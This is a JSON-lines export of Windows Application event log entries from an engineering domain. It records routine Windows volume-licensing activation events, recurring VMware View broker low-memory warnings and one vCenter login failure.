{"@timestamp":1648048563575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168434}}
{"@timestamp":1648048593619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-30T15:15:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168435}}
{"@timestamp":1648079528007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168436}}
{"@timestamp":1648085737522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 24 02:35:37 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168437}}
{"@timestamp":1648128941354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 24 14:35:41 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168438}}
{"@timestamp":1648141220504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168439}}
{"@timestamp":1648172145440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Mar 25 02:35:45 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168440}}
{"@timestamp":1648199072154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168441}}
{"@timestamp":1648215349381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Mar 25 14:35:49 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168442}}
{"@timestamp":1648258553334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Mar 26 02:35:53 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168443}}
{"@timestamp":1648261124790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168444}}
{"@timestamp":1648301757262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Mar 26 14:35:57 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168445}}
{"@timestamp":1648324617424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168446}}
{"@timestamp":1648344961271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Mar 27 03:36:01 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168447}}
{"@timestamp":1648385949875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168448}}
{"@timestamp":1648388165491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun Mar 27 15:36:05 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168449}}
{"@timestamp":1648431369430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 28 03:36:09 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168450}}
{"@timestamp":1648446562284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168451}}
{"@timestamp":1648474573375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon Mar 28 15:36:13 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168452}}
{"@timestamp":1648510775231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168453}}
{"@timestamp":1648517777562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 29 03:36:17 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168454}}
{"@timestamp":1648560981502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue Mar 29 15:36:21 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168455}}
{"@timestamp":1648571207731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168456}}
{"@timestamp":1648604185470,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 30 03:36:25 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168457}}
{"@timestamp":1648633140242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168458}}
{"@timestamp":1648647389827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed Mar 30 15:36:29 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168459}}
{"@timestamp":1648653417881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/19:15:16:57;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168460}}
{"@timestamp":1648653418448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600FE0B91BC7535DFA4826E9171C848D452798C4F7490B6F2FC6B2CD4B7B61D38667DAA67977DDE46A8E9FEF60AFEACC196157D73D05E3FF6E6D5B9B77A84BC0649B2381B2B282310346F0F0B3CE93A85F10EEF4EF7440DD67828ED1DA9C3DE9E20DEEDA9553AC6EAE57AADB81E026E4E240904C7CE04CFCDFDF6858F8756527023EC111E4E874920E65CBF0538364E037AAEDDBC0D6DA9D30A3A98601DE9001345055FEC819609BEBC0FA934293C6759FBC6EA42050DD1B5077E8339972941215C03F6D4566989B6B4ADF21927556C3D6F5CAF5879C2A536FF61ECE2EA18EAF4A01A1201EC9A851A74842907B282BB67544062C27CE3E6422EB955945C6E22D292","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/03/30 15:16, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168461}}
{"@timestamp":1648653418569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600DA031A19CB60994A5501D13D7145C80F3B01A3E960BB776A61B144A6D3B0FDDFBB27CAC6310C791B7B24ED60F669BAA5519AFCF2B20997A4C4571BA42AA2872DA471D9960C7FB8922CD2BD5BDAD2A4E0B163F1A8F508143CDDAA493DA358F36603EDBEB635EBEBBC0224A245C4929A7AAA9893B55A23FADF860FE1E036975745DB8E69EB2C4579C79DEAD908EC6B1B1D975CF43A94314CCA054E9A1B6159CDE022FF68A2F62E5B51F5496CA76C53E395AB82C6286A892FD79EE2B636F12BB7C68B02650C8594F9D42CF025AEEC9274702F47678129A3E6E7D081E1401F442C77FA0CA7FA7B29DDF1DCE66F35FB31E44AAF6A3BEC831BAB51D65B1798897981D0","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/03/30 15:16"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168462}}
{"@timestamp":1648653418703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168463}}
{"@timestamp":1648653418705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168464}}
{"@timestamp":1648653418706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168465}}
{"@timestamp":1648653418762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168466}}
{"@timestamp":1648653418877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168467}}
{"@timestamp":1648653418901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168468}}
{"@timestamp":1648653419133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/26:15:16:58;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168469}}
{"@timestamp":1648653419158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168470}}
{"@timestamp":1648653449191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-04-06T15:16:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168471}}
{"@timestamp":1648690593780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 31 03:36:33 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168472}}
{"@timestamp":1648692912784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168473}}
{"@timestamp":1648733797729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 31 15:36:37 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168474}}
{"@timestamp":1648751784445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168475}}
{"@timestamp":1648777001693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 01 03:36:41 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168476}}
{"@timestamp":1648809456036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168477}}
{"@timestamp":1648815130449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_VC_STATUS_CHANGED_CANNOT_LOGIN\nCannot login to vCenter at address https://eng-vmvc401.engineering-ac.de:443/sdk\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 01 14:12:10 CEST 2022\n\tVCAddress=https://eng-vmvc401.engineering-ac.de:443/sdk\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.l\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168478}}
{"@timestamp":1648820638164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri Apr 01 15:43:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168479}}
